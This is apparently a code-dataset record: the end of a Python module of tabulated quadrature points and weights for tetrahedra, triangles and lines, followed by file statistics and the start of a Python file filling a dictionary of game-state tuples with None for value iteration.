[0.1381966011250105, 0.1381966011250105, 0.5854101966249685, 0.1381966011250105]]), \
np.array([0.2500000000000000, 0.2500000000000000, 0.2500000000000000, 0.2500000000000000]) / 6.),
3: (np.array([[0.2500000000000000, 0.5000000000000000, 0.1666666666666667, 0.1666666666666667, 0.1666666666666667], \
[0.2500000000000000, 0.1666666666666667, 0.1666666666666667, 0.1666666666666667, 0.5000000000000000], \
[0.2500000000000000, 0.1666666666666667, 0.1666666666666667, 0.5000000000000000, 0.1666666666666667]]), \
np.array([-0.8000000000000000, 0.4500000000000000, 0.4500000000000000, 0.4500000000000000,
0.4500000000000000]) / 6.),
4: (np.array([[0.2500000000000000, 0.7857142857142857, 0.0714285714285714, 0.0714285714285714,
0.0714285714285714, 0.1005964238332008, 0.3994035761667992, 0.3994035761667992,
0.3994035761667992, 0.1005964238332008, 0.1005964238332008], \
[0.2500000000000000, 0.0714285714285714, 0.0714285714285714, 0.0714285714285714,
0.7857142857142857, 0.3994035761667992, 0.1005964238332008, 0.3994035761667992,
0.1005964238332008, 0.3994035761667992, 0.1005964238332008], \
[0.2500000000000000, 0.0714285714285714, 0.0714285714285714, 0.7857142857142857,
0.0714285714285714, 0.3994035761667992, 0.3994035761667992, 0.1005964238332008,
0.1005964238332008, 0.1005964238332008, 0.3994035761667992]]), \
np.array([-0.0789333333333333, 0.0457333333333333, 0.0457333333333333, 0.0457333333333333,
0.0457333333333333, 0.1493333333333333, 0.1493333333333333, 0.1493333333333333,
0.1493333333333333, 0.1493333333333333, 0.1493333333333333]) / 6.)
}[norder] # last one available from http://www.cfd-online.com/Wiki/Code:_Quadrature_on_Tetrahedra
except:
raise NotImplementedError("The requested order of quadrature " +
"is not tabulated.")
def get_quadrature_tri(norder: int) -> Tuple[np.ndarray, np.ndarray]:
"""Return a nth order accurate quadrature rule for the reference triangle
(0,0) (0,1) (1,0)."""
if norder <= 1:
norder = 2
try:
return {
2: (np.array([[1.666666666666666666666e-01, 6.666666666666666666666e-01, 1.666666666666666666666e-01],
[1.666666666666666666666e-01, 1.666666666666666666666e-01, 6.666666666666666666666e-01]]),
np.array([1.666666666666666666666e-01, 1.666666666666666666666e-01, 1.666666666666666666666e-01])),
3: (np.array([[0.333333333333333, 0.2, 0.6, 0.2], [0.333333333333333, 0.6, 0.2, 0.2]]),
np.array([-0.28125, 0.260416666666667, 0.260416666666667, 0.260416666666667])),
4: (np.array([[0.445948490915965, 0.0915762135097699, 0.10810301816807, 0.816847572980459,
0.445948490915965, 0.091576213509771],
[0.10810301816807, 0.816847572980459, 0.445948490915965, 0.091576213509771, 0.445948490915965,
0.0915762135097699]]), np.array(
[0.111690794839006, 0.054975871827661, 0.111690794839006, 0.054975871827661, 0.111690794839006,
0.054975871827661])),
5: (np.array([[0.333333333333333, 0.470142064105115, 0.101286507323457, 0.05971587178977, 0.797426985353087,
0.470142064105115, 0.101286507323456],
[0.333333333333333, 0.05971587178977, 0.797426985353087, 0.470142064105115, 0.101286507323456,
0.470142064105115, 0.101286507323457]]), np.array(
[0.1125, 0.066197076394253, 0.0629695902724135, 0.066197076394253, 0.0629695902724135,
0.066197076394253, 0.0629695902724135])),
6: (np.array([[0.249286745170911, 0.0630890144915021, 0.501426509658179, 0.873821971016996,
0.24928674517091, 0.063089014491502, 0.636502499121399, 0.310352451033784, 0.053145049844817,
0.053145049844817, 0.310352451033784, 0.636502499121399],
[0.501426509658179, 0.873821971016996, 0.24928674517091, 0.063089014491502, 0.249286745170911,
0.0630890144915021, 0.053145049844817, 0.053145049844817, 0.310352451033784,
0.636502499121399, 0.636502499121399, 0.310352451033784]]), np.array(
[0.0583931378631895, 0.0254224531851035, 0.0583931378631895, 0.0254224531851035, 0.0583931378631895,
0.0254224531851035, 0.041425537809187, 0.041425537809187, 0.041425537809187, 0.041425537809187,
0.041425537809187, 0.041425537809187])),
7: (np.array([[0.333333333333333, 0.26034596607904, 0.065130102902216, 0.47930806784192, 0.869739794195568,
0.26034596607904, 0.065130102902216, 0.63844418856981, 0.312865496004874, 0.048690315425316,
0.048690315425316, 0.312865496004874, 0.63844418856981],
[0.333333333333333, 0.47930806784192, 0.869739794195568, 0.26034596607904, 0.065130102902216,
0.26034596607904, 0.065130102902216, 0.048690315425316, 0.048690315425316, 0.312865496004874,
0.63844418856981, 0.63844418856981, 0.312865496004874]]), np.array(
[-0.074785022233841, 0.087807628716604, 0.026673617804419, 0.087807628716604, 0.026673617804419,
0.087807628716604, 0.026673617804419, 0.0385568804451285, 0.0385568804451285, 0.0385568804451285,
0.0385568804451285, 0.0385568804451285, 0.0385568804451285])),
8: (np.array([[0.333333333333333, 0.459292588292723, 0.17056930775176, 0.0505472283170311,
0.081414823414554, 0.65886138449648, 0.898905543365938, 0.459292588292723, 0.17056930775176,
0.050547228317031, 0.728492392955404, 0.263112829634638, 0.008394777409958,
0.008394777409958, 0.263112829634638, 0.728492392955404],
[0.333333333333333, 0.081414823414554, 0.65886138449648, 0.898905543365938, 0.459292588292723,
0.17056930775176, 0.050547228317031, 0.459292588292723, 0.17056930775176, 0.0505472283170311,
0.008394777409958, 0.008394777409958, 0.263112829634638, 0.728492392955404,
0.728492392955404, 0.263112829634638]]), np.array(
[0.0721578038388935, 0.0475458171336425, 0.051608685267359, 0.016229248811599, 0.0475458171336425,
0.051608685267359, 0.016229248811599, 0.0475458171336425, 0.051608685267359, 0.016229248811599,
0.0136151570872175, 0.0136151570872175, 0.0136151570872175, 0.0136151570872175, 0.0136151570872175,
0.0136151570872175])),
9: (np.array([[0.333333333333333, 0.489682519198737, 0.437089591492936, 0.188203535619032,
0.0447295133944519, 0.020634961602525, 0.125820817014127, 0.623592928761935,
0.910540973211095, 0.489682519198738, 0.437089591492937, 0.188203535619033,
0.044729513394453, 0.741198598784498, 0.221962989160766, 0.036838412054736,
0.036838412054736, 0.221962989160766, 0.741198598784498],
[0.333333333333333, 0.020634961602525, 0.125820817014127, 0.623592928761935,
0.910540973211095, 0.489682519198738, 0.437089591492937, 0.188203535619033,
0.044729513394453, 0.489682519198737, 0.437089591492936, 0.188203535619032,
0.0447295133944519, 0.036838412054736, 0.036838412054736, 0.221962989160766,
0.741198598784498, 0.741198598784498, 0.221962989160766]]), np.array(
[0.0485678981413995, 0.0156673501135695, 0.038913770502387, 0.039823869463605, 0.012788837829349,
0.0156673501135695, 0.038913770502387, 0.039823869463605, 0.012788837829349, 0.0156673501135695,
0.038913770502387, 0.039823869463605, 0.012788837829349, 0.0216417696886445, 0.0216417696886445,
0.0216417696886445, 0.0216417696886445, 0.0216417696886445, 0.0216417696886445])),
10: (np.array([[0.333333333333333, 0.485577633383658, 0.109481575485037, 0.028844733232685,
0.781036849029926, 0.485577633383657, 0.109481575485037, 0.550352941820999,
0.728323904597411, 0.923655933587501, 0.307939838764121, 0.246672560639903, 0.0668032510122,
0.14170721941488, 0.025003534762686, 0.009540815400299, 0.14170721941488, 0.025003534762686,
0.009540815400299, 0.307939838764121, 0.246672560639903, 0.0668032510122, 0.550352941820999,
0.728323904597411, 0.923655933587501],
[0.333333333333333, 0.028844733232685, 0.781036849029926, 0.485577633383657,
0.109481575485037, 0.485577633383658, 0.109481575485037, 0.14170721941488,
0.025003534762686, 0.009540815400299, 0.14170721941488, 0.025003534762686,
0.009540815400299, 0.307939838764121, 0.246672560639903, 0.0668032510122, 0.550352941820999,
0.728323904597411, 0.923655933587501, 0.550352941820999, 0.728323904597411,
0.923655933587501, 0.307939838764121, 0.246672560639903, 0.0668032510122]]), np.array(
[0.045408995191377, 0.0183629788782335, 0.022660529717764, 0.0183629788782335, 0.022660529717764,
0.0183629788782335, 0.022660529717764, 0.03637895842271, 0.0141636212655285, 0.0047108334818665,
0.03637895842271, 0.0141636212655285, 0.0047108334818665, 0.03637895842271, 0.0141636212655285,
0.0047108334818665, 0.03637895842271, 0.0141636212655285, 0.0047108334818665, 0.03637895842271,
0.0141636212655285, 0.0047108334818665, 0.03637895842271, 0.0141636212655285, 0.0047108334818665])),
11: (np.array([[0.488217389773805, 0.439724392294461, 0.271210385012116, 0.127576145541586,
0.021317350453211, 0.02356522045239, 0.120551215411079, 0.457579229975768,
0.744847708916828, 0.957365299093579, 0.488217389773805, 0.43972439229446,
0.271210385012116, 0.127576145541586, 0.02131735045321, 0.608943235779788,
0.695836086787803, 0.858014033544073, 0.275713269685514, 0.28132558098994,
0.116251915907597, 0.115343494534698, 0.022838332222257, 0.02573405054833,
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0.292221537796944, 0.31957488542319, 0.190704224192292, 0.180483211648746,
0.080711313679564, 0.010186928826919, 0.135440871671036, 0.054423924290583,
0.012868560833637, 0.067165782413524, 0.014663182224828, 0.010186928826919,
0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524,
0.014663182224828, 0.334319867363658, 0.292221537796944, 0.31957488542319,
0.190704224192292, 0.180483211648746, 0.080711313679564, 0.655493203809423,
0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773,
0.904625504095608],
[0.333333333333333, 0.005658918886452, 0.035647354750751, 0.099520061958437,
0.199467521245206, 0.495717464058095, 0.675905990683077, 0.848248235478508,
0.968690546064356, 0.497170540556774, 0.482176322624625, 0.450239969020782,
0.400266239377397, 0.252141267970953, 0.162047004658461, 0.075875882260746,
0.015654726967822, 0.497170540556774, 0.482176322624624, 0.450239969020781,
0.400266239377397, 0.252141267970952, 0.162047004658462, 0.0758758822607461,
0.015654726967822, 0.010186928826919, 0.135440871671036, 0.054423924290583,
0.012868560833637, 0.067165782413524, 0.014663182224828, 0.010186928826919,
0.135440871671036, 0.054423924290583, 0.012868560833637, 0.067165782413524,
0.014663182224828, 0.334319867363658, 0.292221537796944, 0.31957488542319,
0.190704224192292, 0.180483211648746, 0.080711313679564, 0.655493203809423,
0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773, 0.904625504095608,
0.655493203809423, 0.57233759053202, 0.626001190286227, 0.796427214974071, 0.75235100593773,
0.904625504095608, 0.334319867363658, 0.292221537796944, 0.31957488542319,
0.190704224192292, 0.180483211648746, 0.080711313679564]]), np.array(
[0.0167185996454015, 0.0025467077202535, 0.007335432263819, 0.012175439176836, 0.0155537754344845,
0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895, 0.0025467077202535,
0.007335432263819, 0.012175439176836, 0.0155537754344845, 0.01562855560931, 0.0124078271698325,
0.0070280365352785, 0.0015973380868895, 0.0025467077202535, 0.007335432263819, 0.012175439176836,
0.0155537754344845, 0.01562855560931, 0.0124078271698325, 0.0070280365352785, 0.0015973380868895,
0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125,
0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164,
0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815, 0.009229996605411,
0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965, 0.0134028711415815,
0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825, 0.0040598276594965,
0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125, 0.0033328160020825,
0.0040598276594965, 0.0134028711415815, 0.009229996605411, 0.004238434267164, 0.0091463983850125,
0.0033328160020825])),
18: (np.array([[0.333333333333333, 0.489609987073007, 0.454536892697892, 0.401416680649431,
0.255551654403097, 0.177077942152129, 0.110061053227952, 0.055528624251839,
0.012621863777228, 0.020780025853987, 0.090926214604215, 0.197166638701138,
0.488896691193805, 0.645844115695741, 0.779877893544096, 0.888942751496321,
0.974756272445543, 0.489609987073006, 0.454536892697893, 0.401416680649431,
0.255551654403098, 0.17707794215213, 0.110061053227952, 0.05552862425184, 0.012621863777229,
0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871,
0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784,
0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951,
0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938,
0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178,
0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278,
0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178,
0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278,
0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951,
0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938,
0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871,
0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784],
[0.333333333333333, 0.020780025853987, 0.090926214604215, 0.197166638701138,
0.488896691193805, 0.645844115695741, 0.779877893544096, 0.888942751496321,
0.974756272445543, 0.489609987073006, 0.454536892697893, 0.401416680649431,
0.255551654403098, 0.17707794215213, 0.110061053227952, 0.05552862425184, 0.012621863777229,
0.489609987073007, 0.454536892697892, 0.401416680649431, 0.255551654403097,
0.177077942152129, 0.110061053227952, 0.055528624251839, 0.012621863777228,
0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178,
0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278,
0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178,
0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278,
0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951,
0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938,
0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871,
0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784,
0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871,
0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784,
0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951,
0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938]]), np.array(
[0.0164531656944595, 0.005165365945636, 0.011193623631508, 0.015133062934734, 0.015245483901099,
0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425, 0.005165365945636,
0.011193623631508, 0.015133062934734, 0.015245483901099, 0.0120796063708205, 0.0080254017934005,
0.004042290130892, 0.0010396810137425, 0.005165365945636, 0.011193623631508, 0.015133062934734,
0.015245483901099, 0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425,
0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455,
0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011,
0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995,
0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655,
0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905,
0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755,
0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669,
0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651,
0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455,
0.0091214200594755, 0.0051292818680995, 0.001899964427651])),
19: (np.array([[0.333333333333333, 0.489609987073007, 0.454536892697892, 0.401416680649431,
0.255551654403097, 0.177077942152129, 0.110061053227952, 0.055528624251839,
0.012621863777228, 0.020780025853987, 0.090926214604215, 0.197166638701138,
0.488896691193805, 0.645844115695741, 0.779877893544096, 0.888942751496321,
0.974756272445543, 0.489609987073006, 0.454536892697893, 0.401416680649431,
0.255551654403098, 0.17707794215213, 0.110061053227952, 0.05552862425184, 0.012621863777229,
0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871,
0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784,
0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951,
0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938,
0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178,
0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278,
0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178,
0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278,
0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951,
0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938,
0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871,
0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784],
[0.333333333333333, 0.020780025853987, 0.090926214604215, 0.197166638701138,
0.488896691193805, 0.645844115695741, 0.779877893544096, 0.888942751496321,
0.974756272445543, 0.489609987073006, 0.454536892697893, 0.401416680649431,
0.255551654403098, 0.17707794215213, 0.110061053227952, 0.05552862425184, 0.012621863777229,
0.489609987073007, 0.454536892697892, 0.401416680649431, 0.255551654403097,
0.177077942152129, 0.110061053227952, 0.055528624251839, 0.012621863777228,
0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178,
0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278,
0.003611417848412, 0.13446675453078, 0.014446025776115, 0.046933578838178,
0.002861120350567, 0.223861424097916, 0.03464707481676, 0.010161119296278,
0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951,
0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938,
0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871,
0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784,
0.600633794794645, 0.557603261588784, 0.720987025817365, 0.594527068955871,
0.839331473680838, 0.701087978926173, 0.822931324069857, 0.924344252620784,
0.395754787356943, 0.307929983880436, 0.26456694840652, 0.358539352205951,
0.157807405968595, 0.075050596975911, 0.142421601113383, 0.065494628082938]]), np.array(
[0.0164531656944595, 0.005165365945636, 0.011193623631508, 0.015133062934734, 0.015245483901099,
0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425, 0.005165365945636,
0.011193623631508, 0.015133062934734, 0.015245483901099, 0.0120796063708205, 0.0080254017934005,
0.004042290130892, 0.0010396810137425, 0.005165365945636, 0.011193623631508, 0.015133062934734,
0.015245483901099, 0.0120796063708205, 0.0080254017934005, 0.004042290130892, 0.0010396810137425,
0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455,
0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011,
0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995,
0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655,
0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651, 0.0019424384524905,
0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455, 0.0091214200594755,
0.0051292818680995, 0.001899964427651, 0.0019424384524905, 0.012787080306011, 0.004440451786669,
0.0080622733808655, 0.0012459709087455, 0.0091214200594755, 0.0051292818680995, 0.001899964427651,
0.0019424384524905, 0.012787080306011, 0.004440451786669, 0.0080622733808655, 0.0012459709087455,
0.0091214200594755, 0.0051292818680995, 0.001899964427651])),
}[norder]
except:
raise NotImplementedError("get_quadrature_tri: The requested order of quadrature is not implemented!")
def get_quadrature_line(norder: int) -> Tuple[np.ndarray, np.ndarray]:
"""Return a nth order accurate quadrature rule for line [0,1]."""
if norder <= 1:
norder = 2
X, W = np.polynomial.legendre.leggauss(int(np.ceil((norder + 1.0)/2.0)))
return np.array([0.5*X + 0.5]), W/2.0
def get_quadrature_point(norder: int = 0) -> Tuple[np.ndarray, np.ndarray]:
"""Return the quadrature rule for the point []."""
return np.zeros((0, 1)), np.ones(1)
| 91.567568
| 132
| 0.624262
| 4,278
| 50,820
| 7.409771
| 0.107994
| 0.009496
| 0.010347
| 0.019307
| 0.93719
| 0.919997
| 0.911575
| 0.892678
| 0.881668
| 0.814568
| 0
| 0.804056
| 0.279162
| 50,820
| 554
| 133
| 91.732852
| 0.061256
| 0.039276
| 0
| 0.623984
| 1
| 0
| 0.003952
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.010163
| false
| 0
| 0.004065
| 0
| 0.034553
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
5bd73be13eb29a31bdfe6b6dbc1f3334675f52c1
| 494,316
|
py
|
Python
|
project7/extra.py
|
MaxRobinson/CS449
|
cdc65ce4784fb15eeb0a17a50498217f07aa190c
|
[
"Apache-2.0"
] | null | null | null |
project7/extra.py
|
MaxRobinson/CS449
|
cdc65ce4784fb15eeb0a17a50498217f07aa190c
|
[
"Apache-2.0"
] | null | null | null |
project7/extra.py
|
MaxRobinson/CS449
|
cdc65ce4784fb15eeb0a17a50498217f07aa190c
|
[
"Apache-2.0"
] | 1
|
2019-09-15T02:22:40.000Z
|
2019-09-15T02:22:40.000Z
|
""" Created by Max 12/10/2017 """
from ValueIteration import ValueIteration
from Game import Game
x = {(0, 32, -5, -5): None,
(0, 32, -5, -4): None,
(0, 32, -5, -3): None,
(0, 32, -5, -2): None,
(0, 32, -5, -1): None,
(0, 32, -5, 0): None,
(0, 32, -5, 1): None,
(0, 32, -5, 2): None,
(0, 32, -5, 3): None,
(0, 32, -5, 4): None,
(0, 32, -5, 5): None,
(0, 32, -4, -5): None,
(0, 32, -4, -4): None,
(0, 32, -4, -3): None,
(0, 32, -4, -2): None,
(0, 32, -4, -1): None,
(0, 32, -4, 0): None,
(0, 32, -4, 1): None,
(0, 32, -4, 2): None,
(0, 32, -4, 3): None,
(0, 32, -4, 4): None,
(0, 32, -4, 5): None,
(0, 32, -3, -5): None,
(0, 32, -3, -4): None,
(0, 32, -3, -3): None,
(0, 32, -3, -2): None,
(0, 32, -3, -1): None,
(0, 32, -3, 0): None,
(0, 32, -3, 1): None,
(0, 32, -3, 2): None,
(0, 32, -3, 3): None,
(0, 32, -3, 4): None,
(0, 32, -3, 5): None,
(0, 32, -2, -5): None,
(0, 32, -2, -4): None,
(0, 32, -2, -3): None,
(0, 32, -2, -2): None,
(0, 32, -2, -1): None,
(0, 32, -2, 0): None,
(0, 32, -2, 1): None,
(0, 32, -2, 2): None,
(0, 32, -2, 3): None,
(0, 32, -2, 4): None,
(0, 32, -2, 5): None,
(0, 32, -1, -5): None,
(0, 32, -1, -4): None,
(0, 32, -1, -3): None,
(0, 32, -1, -2): None,
(0, 32, -1, -1): None,
(0, 32, -1, 0): None,
(0, 32, -1, 1): None,
(0, 32, -1, 2): None,
(0, 32, -1, 3): None,
(0, 32, -1, 4): None,
(0, 32, -1, 5): None,
(0, 32, 0, -5): None,
(0, 32, 0, -4): None,
(0, 32, 0, -3): None,
(0, 32, 0, -2): None,
(0, 32, 0, -1): None,
(0, 32, 0, 0): None,
(0, 32, 0, 1): None,
(0, 32, 0, 2): None,
(0, 32, 0, 3): None,
(0, 32, 0, 4): None,
(0, 32, 0, 5): None,
(0, 32, 1, -5): None,
(0, 32, 1, -4): None,
(0, 32, 1, -3): None,
(0, 32, 1, -2): None,
(0, 32, 1, -1): None,
(0, 32, 1, 0): None,
(0, 32, 1, 1): None,
(0, 32, 1, 2): None,
(0, 32, 1, 3): None,
(0, 32, 1, 4): None,
(0, 32, 1, 5): None,
(0, 32, 2, -5): None,
(0, 32, 2, -4): None,
(0, 32, 2, -3): None,
(0, 32, 2, -2): None,
(0, 32, 2, -1): None,
(0, 32, 2, 0): None,
(0, 32, 2, 1): None,
(0, 32, 2, 2): None,
(0, 32, 2, 3): None,
(0, 32, 2, 4): None,
(0, 32, 2, 5): None,
(0, 32, 3, -5): None,
(0, 32, 3, -4): None,
(0, 32, 3, -3): None,
(0, 32, 3, -2): None,
(0, 32, 3, -1): None,
(0, 32, 3, 0): None,
(0, 32, 3, 1): None,
(0, 32, 3, 2): None,
(0, 32, 3, 3): None,
(0, 32, 3, 4): None,
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(0, 33, -5, -2): None,
(0, 33, -5, -1): None,
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(0, 33, -2, -1): None,
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(0, 33, -2, 3): None,
(0, 33, -2, 4): None,
(0, 33, -2, 5): None,
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(0, 33, -1, -3): None,
(0, 33, -1, -2): None,
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(0, 33, -1, 0): None,
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(0, 33, 0, -1): None,
(0, 33, 0, 0): None,
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(0, 33, 0, 3): None,
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(0, 33, 0, 5): None,
(0, 33, 1, -5): None,
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(0, 33, 1, -3): None,
(0, 33, 1, -2): None,
(0, 33, 1, -1): None,
(0, 33, 1, 0): None,
(0, 33, 1, 1): None,
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(0, 33, 1, 3): None,
(0, 33, 1, 4): None,
(0, 33, 1, 5): None,
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(0, 33, 2, -4): None,
(0, 33, 2, -3): None,
(0, 33, 2, -2): None,
(0, 33, 2, -1): None,
(0, 33, 2, 0): None,
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(0, 33, 2, 3): None,
(0, 33, 2, 4): None,
(0, 33, 2, 5): None,
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(0, 33, 3, -4): None,
(0, 33, 3, -3): None,
(0, 33, 3, -2): None,
(0, 33, 3, -1): None,
(0, 33, 3, 0): None,
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(0, 33, 3, 2): None,
(0, 33, 3, 3): None,
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(0, 33, 4, -4): None,
(0, 33, 4, -3): None,
(0, 33, 4, -2): None,
(0, 33, 4, -1): None,
(0, 33, 4, 0): None,
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(0, 33, 4, 2): None,
(0, 33, 4, 3): None,
(0, 33, 4, 4): None,
(0, 33, 4, 5): None,
(0, 33, 5, -5): None,
(0, 33, 5, -4): None,
(0, 33, 5, -3): None,
(0, 33, 5, -2): None,
(0, 33, 5, -1): None,
(0, 33, 5, 0): None,
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(0, 33, 5, 4): None,
(0, 33, 5, 5): None,
(0, 34, -5, -5): None,
(0, 34, -5, -4): None,
(0, 34, -5, -3): None,
(0, 34, -5, -2): None,
(0, 34, -5, -1): None,
(0, 34, -5, 0): None,
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(0, 34, -5, 3): None,
(0, 34, -5, 4): None,
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(0, 34, -4, -5): None,
(0, 34, -4, -4): None,
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(0, 34, -4, -2): None,
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(0, 34, -4, 0): None,
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(0, 34, -4, 2): None,
(0, 34, -4, 3): None,
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(0, 34, -3, -5): None,
(0, 34, -3, -4): None,
(0, 34, -3, -3): None,
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(0, 34, -3, -1): None,
(0, 34, -3, 0): None,
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(0, 34, -3, 3): None,
(0, 34, -3, 4): None,
(0, 34, -3, 5): None,
(0, 34, -2, -5): None,
(0, 34, -2, -4): None,
(0, 34, -2, -3): None,
(0, 34, -2, -2): None,
(0, 34, -2, -1): None,
(0, 34, -2, 0): None,
(0, 34, -2, 1): None,
(0, 34, -2, 2): None,
(0, 34, -2, 3): None,
(0, 34, -2, 4): None,
(0, 34, -2, 5): None,
(0, 34, -1, -5): None,
(0, 34, -1, -4): None,
(0, 34, -1, -3): None,
(0, 34, -1, -2): None,
(0, 34, -1, -1): None,
(0, 34, -1, 0): None,
(0, 34, -1, 1): None,
(0, 34, -1, 2): None,
(0, 34, -1, 3): None,
(0, 34, -1, 4): None,
(0, 34, -1, 5): None,
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(0, 34, 0, -3): None,
(0, 34, 0, -2): None,
(0, 34, 0, -1): None,
(0, 34, 0, 0): None,
(0, 34, 0, 1): None,
(0, 34, 0, 2): None,
(0, 34, 0, 3): None,
(0, 34, 0, 4): None,
(0, 34, 0, 5): None,
(0, 34, 1, -5): None,
(0, 34, 1, -4): None,
(0, 34, 1, -3): None,
(0, 34, 1, -2): None,
(0, 34, 1, -1): None,
(0, 34, 1, 0): None,
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(0, 34, 1, 3): None,
(0, 34, 1, 4): None,
(0, 34, 1, 5): None,
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(0, 34, 2, -4): None,
(0, 34, 2, -3): None,
(0, 34, 2, -2): None,
(0, 34, 2, -1): None,
(0, 34, 2, 0): None,
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(0, 34, 2, 2): None,
(0, 34, 2, 3): None,
(0, 34, 2, 4): None,
(0, 34, 2, 5): None,
(0, 34, 3, -5): None,
(0, 34, 3, -4): None,
(0, 34, 3, -3): None,
(0, 34, 3, -2): None,
(0, 34, 3, -1): None,
(0, 34, 3, 0): None,
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(0, 34, 3, 2): None,
(0, 34, 3, 3): None,
(0, 34, 3, 4): None,
(0, 34, 3, 5): None,
(0, 34, 4, -5): None,
(0, 34, 4, -4): None,
(0, 34, 4, -3): None,
(0, 34, 4, -2): None,
(0, 34, 4, -1): None,
(0, 34, 4, 0): None,
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(0, 34, 4, 2): None,
(0, 34, 4, 3): None,
(0, 34, 4, 4): None,
(0, 34, 4, 5): None,
(0, 34, 5, -5): None,
(0, 34, 5, -4): None,
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(0, 34, 5, 0): None,
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(0, 34, 5, 2): None,
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(0, 35, -4, 0): None,
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(0, 35, -4, 5): None,
(0, 35, -3, -5): None,
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(0, 35, -3, -3): None,
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(0, 35, -3, 2): None,
(0, 35, -3, 3): None,
(0, 35, -3, 4): None,
(0, 35, -3, 5): None,
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(0, 35, -2, -4): None,
(0, 35, -2, -3): None,
(0, 35, -2, -2): None,
(0, 35, -2, -1): None,
(0, 35, -2, 0): None,
(0, 35, -2, 1): None,
(0, 35, -2, 2): None,
(0, 35, -2, 3): None,
(0, 35, -2, 4): None,
(0, 35, -2, 5): None,
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(0, 35, -1, -4): None,
(0, 35, -1, -3): None,
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(0, 35, -1, 0): None,
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(0, 35, -1, 2): None,
(0, 35, -1, 3): None,
(0, 35, -1, 4): None,
(0, 35, -1, 5): None,
(0, 35, 0, -5): None,
(0, 35, 0, -4): None,
(0, 35, 0, -3): None,
(0, 35, 0, -2): None,
(0, 35, 0, -1): None,
(0, 35, 0, 0): None,
(0, 35, 0, 1): None,
